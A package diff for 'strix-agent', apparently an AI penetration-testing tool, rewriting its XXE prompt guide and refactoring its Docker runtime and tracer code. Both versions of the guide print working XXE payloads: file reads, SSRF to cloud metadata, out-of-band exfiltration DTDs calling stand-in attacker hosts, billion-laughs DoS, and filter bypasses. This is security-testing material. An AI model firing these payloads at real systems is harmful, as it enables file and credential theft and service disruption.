strix-agent 0.1.18__py3-none-any.whl → 0.3.1__py3-none-any.whl

strix/prompts/vulnerabilities/xxe.jinja

@@ -1,276 +1,184 @@
 <xxe_vulnerability_guide>
-<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
-
-<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
-
-<discovery_points>
-- XML file uploads (docx, xlsx, svg, xml)
-- SOAP endpoints
-- REST APIs accepting XML
-- SAML implementations
-- RSS/Atom feeds
-- XML configuration files
-- WebDAV
-- Office document processors
-- SVG image uploads
-- PDF generators with XML input
-</discovery_points>
-
-<basic_payloads>
-<file_disclosure>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-<root>&xxe;</root>
-
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
-<root>&xxe;</root>
-</file_disclosure>
-
-<ssrf_via_xxe>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
-<root>&xxe;</root>
-</ssrf_via_xxe>
-
-<blind_xxe_oob>
-<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
+<title>XML EXTERNAL ENTITY (XXE)</title>
+
+<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
+
+<scope>
+- File disclosure: read server files and configuration
+- SSRF: reach metadata services, internal admin panels, service ports
+- DoS: entity expansion (billion laughs), external resource amplification
+- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
+- Transclusion: XInclude and XSLT document() loading external resources
+</scope>
+
+<methodology>
+1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
+2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
+3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
+4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
+</methodology>
+
+<discovery_techniques>
+<surface_map>
+- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
+- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
+- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
+</surface_map>
+
+<capability_probes>
+- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
+- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
+- XInclude probe: add xi:include to see if transclusion is enabled
+- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
+</capability_probes>
+</discovery_techniques>
+
+<detection_channels>
+<direct>
+- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
+</direct>
+
+<error_based>
+- Coerce parser errors that leak path fragments or file content via interpolated messages
+</error_based>
+
+<oast>
+- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
+- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
+</oast>
+
+<timing>
+- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
+</timing>
+</detection_channels>
+
+<core_payloads>
+<local_file>
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<r>&xxe;</r>
+
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
+<r>&xxe;</r>
+</local_file>
+
+<ssrf>
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
+<r>&xxe;</r>
+
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
+<r>&xxe;</r>
+</ssrf>
+
+<oob_parameter_entity>
+<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
 
 evil.dtd:
-<!ENTITY % file SYSTEM "file:///etc/passwd">
-<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
-%eval;
-%exfiltrate;
-</blind_xxe_oob>
-</basic_payloads>
+<!ENTITY % f SYSTEM "file:///etc/hostname">
+<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
+%e; %exfil;
+</oob_parameter_entity>
+</core_payloads>
 
 <advanced_techniques>
 <parameter_entities>
-<!DOCTYPE foo [
-  <!ENTITY % data SYSTEM "file:///etc/passwd">
-  <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?d=%data;'>">
-  %param;
-  %exfil;
-]>
+- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
 </parameter_entities>
 
-<error_based_xxe>
-<!DOCTYPE foo [
-  <!ENTITY % file SYSTEM "file:///etc/passwd">
-  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
-  %eval;
-  %error;
-]>
-</error_based_xxe>
-
-<xxe_in_attributes>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-<root attr="&xxe;"/>
-</xxe_in_attributes>
-</advanced_techniques>
-
-<filter_bypasses>
-<encoding_tricks>
-- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
-- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
-- Base64 in CDATA: <![CDATA[base64_payload]]>
-</encoding_tricks>
-
-<protocol_variations>
-- file:// → file:
-- file:// → netdoc://
-- http:// → https://
-- Gopher: gopher://
-- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
-</protocol_variations>
-
-<doctype_variations>
-<!doctype foo [
-<!DoCtYpE foo [
-<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
-<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
-</doctype_variations>
-</filter_bypasses>
-
-<specific_contexts>
-<json_xxe>
-{% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
-</json_xxe>
-
-<soap_xxe>
-<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
-  <soap:Body>
-    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-    <foo>&xxe;</foo>
-  </soap:Body>
-</soap:Envelope>
-</soap_xxe>
-
-<svg_xxe>
-<svg xmlns="http://www.w3.org/2000/svg">
-  <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-  <text>&xxe;</text>
-</svg>
-</svg_xxe>
-
-<docx_xlsx_xxe>
-1. Unzip document
-2. Edit document.xml or similar
-3. Add XXE payload
-4. Rezip and upload
-</docx_xlsx_xxe>
-</specific_contexts>
-
-<blind_xxe_techniques>
-<dns_exfiltration>
-<!DOCTYPE foo [
-  <!ENTITY % data SYSTEM "file:///etc/hostname">
-  <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.attacker.com/'>">
-  %param;
-  %exfil;
-]>
-</dns_exfiltration>
-
-<ftp_exfiltration>
-<!DOCTYPE foo [
-  <!ENTITY % data SYSTEM "file:///etc/passwd">
-  <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
-  %param;
-  %exfil;
-]>
-</ftp_exfiltration>
-
-<php_wrappers>
-<!DOCTYPE foo [
-  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
-]>
-<root>&xxe;</root>
-</php_wrappers>
-</blind_xxe_techniques>
-
-<xxe_to_rce>
-<expect_module>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
-<root>&xxe;</root>
-</expect_module>
-
-<file_upload_lfi>
-1. Upload malicious PHP via XXE
-2. Include via LFI or direct access
-</file_upload_lfi>
-
-<java_specific>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
-</java_specific>
-</xxe_to_rce>
-
-<denial_of_service>
-<billion_laughs>
-<!DOCTYPE lolz [
-  <!ENTITY lol "lol">
-  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
-  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
-  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
-  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
-]>
-<lolz>&lol5;</lolz>
-</billion_laughs>
-
-<external_dtd_dos>
-<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
-</external_dtd_dos>
-</denial_of_service>
-
-<modern_bypasses>
 <xinclude>
 <root xmlns:xi="http://www.w3.org/2001/XInclude">
   <xi:include parse="text" href="file:///etc/passwd"/>
 </root>
+- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
 </xinclude>
 
-<xslt>
+<xslt_document>
+- XSLT processors can fetch external resources via document():
 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
     <xsl:copy-of select="document('file:///etc/passwd')"/>
   </xsl:template>
 </xsl:stylesheet>
-</xslt>
-</modern_bypasses>
+- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
+</xslt_document>
+
+<protocol_wrappers>
+- Java: jar:, netdoc:
+- PHP: php://filter, expect:// (when module enabled)
+- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
+</protocol_wrappers>
+</advanced_techniques>
 
-<parser_specific>
-<java>
-- Supports jar: protocol
-- External DTDs by default
-- Parameter entities work
-</java>
+<filter_bypasses>
+<encoding_variants>
+- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
+</encoding_variants>
 
-<dotnet>
-- Supports file:// by default
-- DTD processing varies by version
-</dotnet>
+<doctype_variants>
+- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
+</doctype_variants>
 
-<php>
-- libxml2 based
-- expect:// protocol with expect module
-- php:// wrappers
-</php>
+<network_controls>
+- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
+</network_controls>
+</filter_bypasses>
+
+<special_contexts>
+<soap>
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+    <d>&xxe;</d>
+  </soap:Body>
+</soap:Envelope>
+</soap>
 
-<python>
-- Default parsers often vulnerable
-- lxml safer than xml.etree
-</python>
-</parser_specific>
+<saml>
+- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
+</saml>
 
-<validation_testing>
-<detection>
-1. Basic entity test: &xxe;
-2. External DTD: http://attacker.com/test.dtd
-3. Parameter entity: %xxe;
-4. Time-based: DTD with slow server
-5. DNS lookup: http://test.attacker.com/
-</detection>
+<svg_and_renderers>
+- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
+</svg_and_renderers>
 
-<false_positives>
-- Entity declared but not processed
-- DTD loaded but entities blocked
-- Output encoding preventing exploitation
-- Limited file access (chroot/sandbox)
-</false_positives>
-</validation_testing>
+<office_docs>
+- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
+</office_docs>
+</special_contexts>
 
-<impact_demonstration>
-1. Read sensitive files (/etc/passwd, web.config)
-2. Cloud metadata access (AWS keys)
-3. Internal network scanning (SSRF)
-4. Data exfiltration proof
-5. DoS demonstration
-6. RCE if possible
-</impact_demonstration>
+<validation>
+1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
+2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
+3. Confirm blind channels with OAST and correlate to the triggering request.
+4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
+5. Bound impact: exact files/data reached or internal targets proven.
+</validation>
 
-<automation>
-# XXE Scanner
-def test_xxe(url, param):
-    payloads = [
-        '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
-        '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
-        '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
-    ]
+<false_positives>
+- DOCTYPE accepted but entities not resolved and no transclusion reachable
+- Filters or sandboxes that emit entity strings literally (no IO performed)
+- Mocks/stubs that simulate success without network/file access
+- XML processed only client-side (no server parse)
+</false_positives>
 
-    for payload in payloads:
-        response = requests.post(url, data={param: payload})
-        if 'root:' in response.text or check_callback():
-            return f"XXE found with: {payload}"
-</automation>
+<impact>
+- Disclosure of credentials/keys/configs, code, and environment secrets
+- Access to cloud metadata/token services and internal admin panels
+- Denial of service via entity expansion or slow external resources
+- Code execution via XSLT/expect:// in insecure stacks
+</impact>
 
 <pro_tips>
-1. Try all protocols, not just file://
-2. Use parameter entities for blind XXE
-3. Chain with SSRF for cloud metadata
-4. Test different encodings (UTF-16)
-5. Don't forget JSON/SOAP contexts
-6. XInclude when entities are blocked
-7. Error messages reveal file paths
-8. Monitor DNS for blind confirmation
-9. Some parsers allow network access but not files
-10. Modern frameworks disable XXE by default - check configs
+1. Prefer OAST first; it is the quietest confirmation in production-like paths.
+2. When content is sanitized, use error-based and length/ETag diffs.
+3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
+4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
+5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
+6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
+7. Test background processors separately; they often use different parser settings.
+8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
+9. Combine with path traversal and deserialization where XML touches downstream systems.
+10. Document exact parser behavior per stack; defenses must match real libraries and flags.
 </pro_tips>
 
-<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
+<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
 </xxe_vulnerability_guide>

strix/runtime/docker_runtime.py

@@ -40,7 +40,7 @@ class DockerRuntime(AbstractRuntime):
 
     def _get_scan_id(self, agent_id: str) -> str:
         try:
-            from strix.cli.tracer import get_global_tracer
+            from strix.telemetry.tracer import get_global_tracer
 
             tracer = get_global_tracer()
             if tracer and tracer.scan_config:
@@ -250,7 +250,9 @@ class DockerRuntime(AbstractRuntime):
 
         time.sleep(5)
 
-    def _copy_local_directory_to_container(self, container: Container, local_path: str) -> None:
+    def _copy_local_directory_to_container(
+        self, container: Container, local_path: str, target_name: str | None = None
+    ) -> None:
         import tarfile
         from io import BytesIO
 
@@ -260,13 +262,20 @@ class DockerRuntime(AbstractRuntime):
                 logger.warning(f"Local path does not exist or is not directory: {local_path_obj}")
                 return
 
-            logger.info(f"Copying local directory {local_path_obj} to container")
+            if target_name:
+                logger.info(
+                    f"Copying local directory {local_path_obj} to container at "
+                    f"/workspace/{target_name}"
+                )
+            else:
+                logger.info(f"Copying local directory {local_path_obj} to container")
 
             tar_buffer = BytesIO()
             with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
                 for item in local_path_obj.rglob("*"):
                     if item.is_file():
-                        arcname = item.relative_to(local_path_obj)
+                        rel_path = item.relative_to(local_path_obj)
+                        arcname = Path(target_name) / rel_path if target_name else rel_path
                         tar.add(item, arcname=arcname)
 
             tar_buffer.seek(0)
@@ -283,14 +292,26 @@ class DockerRuntime(AbstractRuntime):
             logger.exception("Failed to copy local directory to container")
 
     async def create_sandbox(
-        self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
+        self,
+        agent_id: str,
+        existing_token: str | None = None,
+        local_sources: list[dict[str, str]] | None = None,
     ) -> SandboxInfo:
         scan_id = self._get_scan_id(agent_id)
         container = self._get_or_create_scan_container(scan_id)
 
         source_copied_key = f"_source_copied_{scan_id}"
-        if local_source_path and not hasattr(self, source_copied_key):
-            self._copy_local_directory_to_container(container, local_source_path)
+        if local_sources and not hasattr(self, source_copied_key):
+            for index, source in enumerate(local_sources, start=1):
+                source_path = source.get("source_path")
+                if not source_path:
+                    continue
+
+                target_name = source.get("workspace_subdir")
+                if not target_name:
+                    target_name = Path(source_path).name or f"target_{index}"
+
+                self._copy_local_directory_to_container(container, source_path, target_name)
             setattr(self, source_copied_key, True)
 
         container_id = container.id

strix/runtime/runtime.py

@@ -13,7 +13,10 @@ class SandboxInfo(TypedDict):
 class AbstractRuntime(ABC):
     @abstractmethod
     async def create_sandbox(
-        self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
+        self,
+        agent_id: str,
+        existing_token: str | None = None,
+        local_sources: list[dict[str, str]] | None = None,
     ) -> SandboxInfo:
         raise NotImplementedError
 

strix/telemetry/__init__.py

@@ -0,0 +1,4 @@
+from .tracer import Tracer, get_global_tracer, set_global_tracer
+
+
+__all__ = ["Tracer", "get_global_tracer", "set_global_tracer"]

strix/{cli → telemetry}/tracer.py

@@ -1,10 +1,14 @@
 import logging
 from datetime import UTC, datetime
 from pathlib import Path
-from typing import Any, Optional
+from typing import TYPE_CHECKING, Any, Optional
 from uuid import uuid4
 
 
+if TYPE_CHECKING:
+    from collections.abc import Callable
+
+
 logger = logging.getLogger(__name__)
 
 _global_tracer: Optional["Tracer"] = None
@@ -40,14 +44,15 @@ class Tracer:
             "run_name": self.run_name,
             "start_time": self.start_time,
             "end_time": None,
-            "target": None,
-            "scan_type": None,
+            "targets": [],
             "status": "running",
         }
         self._run_dir: Path | None = None
         self._next_execution_id = 1
         self._next_message_id = 1
 
+        self.vulnerability_found_callback: Callable[[str, str, str, str], None] | None = None
+
     def set_run_name(self, run_name: str) -> None:
         self.run_name = run_name
         self.run_id = run_name
@@ -81,6 +86,12 @@ class Tracer:
 
         self.vulnerability_reports.append(report)
         logger.info(f"Added vulnerability report: {report_id} - {title}")
+
+        if self.vulnerability_found_callback:
+            self.vulnerability_found_callback(
+                report_id, title.strip(), content.strip(), severity.lower().strip()
+            )
+
         return report_id
 
     def set_final_scan_result(
@@ -181,8 +192,7 @@ class Tracer:
         self.scan_config = config
         self.run_metadata.update(
             {
-                "target": config.get("target", {}),
-                "scan_type": config.get("scan_type", "general"),
+                "targets": config.get("targets", []),
                 "user_instructions": config.get("user_instructions", ""),
                 "max_iterations": config.get("max_iterations", 200),
             }
@@ -194,14 +204,16 @@ class Tracer:
             self.end_time = datetime.now(UTC).isoformat()
 
             if self.final_scan_result:
-                scan_report_file = run_dir / "scan_report.md"
-                with scan_report_file.open("w", encoding="utf-8") as f:
-                    f.write("# Security Scan Report\n\n")
+                penetration_test_report_file = run_dir / "penetration_test_report.md"
+                with penetration_test_report_file.open("w", encoding="utf-8") as f:
+                    f.write("# Security Penetration Test Report\n\n")
                     f.write(
                         f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n"
                     )
                     f.write(f"{self.final_scan_result}\n")
-                logger.info(f"Saved final scan report to: {scan_report_file}")
+                logger.info(
+                    f"Saved final penetration test report to: {penetration_test_report_file}"
+                )
 
             if self.vulnerability_reports:
                 vuln_dir = run_dir / "vulnerabilities"